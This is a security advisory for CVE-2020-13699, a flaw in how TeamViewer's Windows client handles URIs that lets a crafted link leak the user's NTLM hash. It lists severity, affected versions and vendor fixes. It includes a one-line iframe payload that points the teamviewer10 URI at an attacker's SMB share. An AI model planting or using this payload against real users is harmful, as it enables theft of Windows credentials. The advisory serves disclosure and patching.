Unquoted Search Path or Element in TeamViewer Remote Full Client for Windows - CVE-2020-13699
Published: August 10, 2020 / Updated: August 19, 2020
Vulnerability identifier: #VU42044
CSH Severity: High
CVSS v4: 8.3 [CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N]
CVE-ID: CVE-2020-13699
CWE-ID: CWE-428
Exploitation vector: Remote access
Exploit availability:
Public exploit is available
Vulnerability details
The vulnerability allows a remote attacker to gain access to sensitive information.
The vulnerability exists due to TeamViewer Desktop for Windows processes URI handlers in an insecure manner. A remote attacker can create a specially crafted link, trick the victim into clicking it and force the application to send an NTLM authentication request to a remote system.
Successful exploitation of the vulnerability may allow an attacker to obtain NTLM hash of the current Windows user, which may result in system compromise.
Exploitation example:
<iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>
Affected software
TeamViewer Remote Full Client for Windows
VBASE Pro-RT/ Server-RT (Web Remote)
VBASE Pro-RT/ Server-RT (Web Remote)
How to mitigate CVE-2020-13699
Install updates from vendor's website.
TeamViewer Remote Full Client for Windows - addressed in versions 8.0.258861, 9.0.258860, 10.0.258873, 11.0.258870, 12.0.258869, 13.2.36220, 14.2.56676, 14.7.48350, 15.8.3
VBASE Pro-RT/ Server-RT (Web Remote) - update to 11.7.0.2
VBASE Pro-RT/ Server-RT (Web Remote) - update to 11.7.0.2